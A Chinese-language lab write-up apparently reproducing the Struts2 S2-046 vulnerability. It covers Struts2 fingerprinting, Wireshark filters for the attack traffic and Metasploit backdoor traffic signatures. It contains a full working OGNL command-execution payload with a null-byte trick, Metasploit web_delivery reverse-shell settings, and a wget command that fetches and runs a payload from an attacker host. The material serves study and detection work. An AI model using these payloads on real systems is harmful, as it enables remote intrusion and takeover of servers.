紅日復現為什么失敗之struct-046流量分析加msf特征總結
struts2漏洞
一、指紋識別
s2的url路徑組成(詳見struts.xml配置文件):name工程名+namespace命名空間+atcion名稱+extends拓展名
部署在根目錄下,工程名可為空;當然namespace名稱也可設置為空;拓展名也可設置為空。
方法一
(1)url會有.action或.do后綴文件名(eg:http://192.168.xx.xx/integration/editGangster.action) #但是不準確,因為spring框架或jboss框架有可能也存在.do文件
(2)在.action等接口后追加actionErrors參數或者輸入錯誤路徑,s2應用會觸發報錯,通過網頁回顯報錯信息判斷。s2常見報錯關鍵詞:no action mapped、org.apache.struts2.views.jsp、namespace、no result defined for action等 #spring報錯關鍵詞一般含有whitelabel Error Page等
方法二
在URL添加/struts/domTT.css,返回css代碼 #在工程名后路徑添加,就是網站根目錄下,返回結果如下圖一
方法三
在url每層路徑前添加一個錯誤路徑,如果回顯相同結果則是s2,不同結果則是spring框架 #按照s2框架規則,層層向上查找action,但是存在nginx時nginx規則優先。
圖一如下

二、漏洞利用的流量分析
1.使用檢測工具

使用工具檢測wireshark:
tcp.port == 2001 && http #首先篩選特殊端口加協議
http.request.method == POST # 查看請求方法為post的數據
http.request.code >= 400 #查看響應碼為200
ip.src == 192.168.0.112 #指定源IP為攻擊ip,查看data數據


2.使用手工注入
1.sumbit發送
2.使用bp抓包
3.構造payload內容如下:
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}\x00b"
4.修改hex構造00截斷 #如下圖


wireshark語句查找:
# 未發包前先看一下目標ip的數據 ip.dst == 192.168.0.110 #結果顯示無
# bp在send后,再次查看目標ip數據 ip.dst == 192.168.0.110 #如下圖一
http contains "/doUpload" #如下圖二
圖一如下

圖二如下


三、getshell的流量分析
使用msf進行getshell
1.使用exp模塊生成個payload #該模塊表示在本地開啟一個端口,目標機在訪問攻擊機該端口時,會將該端口內的文件讀取至本地執行。
use exploit/multi/script/web_delivery
set target 7
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 1234
run


生成payload:
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj; chmod +x Tw2nth14; ./Tw2nth14& disown
將上述payload進行改造(;替換成&&)
wget -qO Tw2nth14 --no-check-certificate http://192.168.0.108:8080/X6e4KuPDZj&& chmod +x Tw2nth14&& ./Tw2nth14& disown


getshell

追蹤它的目標ip以及源ip流
ip.dst == 192.168.0.110 && http #112發送payload數據到110成功


msf(108攻擊機)與目標主機(110目標主機)建立連接
追蹤流:ip.src == 192.168.0.108 && ip.dst == 192.168.0.110 && tcp.port == 1234

Data: 653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4…
000c29a70a60000c29461c210800450000b44c81400040066b98c0a8006cc0a8006e04d2e3ce877c0d962d59db35801801f5fa8100000101080a4f51a65401d43497653f424b45daa002a50b09a9e1278780fa3b4bcb653f424a653f4223653f424be12cddc4934e0530fb9b0bc5a8397ccf0a3cad5073c4ab7f0ae695a177ca7f8217a426b3e070424b771e4cf1d3cb2ee08d41a0079b81ddbbc53fde242c239771da4d012af8a514c5b0f26eee8103ea9ad0171f20ef2006813535f900d8f5dbc5
四、msf后門流量特征
msf后門三種類型:
協議:tcp、http、https
位數:默認生成后門32位(windows/shell/reverse_tcp),但是可以生成64位(windows/x64/shell/reverse_tcp)
模式:shell、meterpreter
連接:正向、反向(bind reverse)
以下用windows舉例:
tcp流量:
eg:windows/shell/reverse_tcp
該流量包特征:異常端口持續傳輸數據、shell后門明文傳輸(在追蹤流中可查看具體命令)
可以直接看到命令用于反制
eg:windows/meterpreter/reverse_tcp #如下圖一
該流量包特征:異常端口持續傳輸數據、meterpreter后門進行加密
exe文件:文件頭16進制是MZ開頭
http流量:
數據包特征:固定請求和響應模板
請求模板包括UA、host、Connection、Cache-Control
響應模板包括content-Type、Connection、Server、Content-Length
后門set編碼模塊,在特征上與不編碼有一定區別(比如文件體開頭部分MZ ../等特征替換成.. .. ..等)但是數據包依舊有如上特征。
https流量:
server hello的JA3值固定 6523.... /22...
圖一如下




五、參考文獻:
紅隊第2篇:區分Spring與Struts2框架的幾種新方法-騰訊云開發者社區-騰訊云 (tencent.com)
Struts2框架漏洞總結與復現(下)_s2-029-CSDN博客
https://github.com/abc123info/Struts2VulsScanTools #漏洞利用工具

浙公網安備 33010602011771號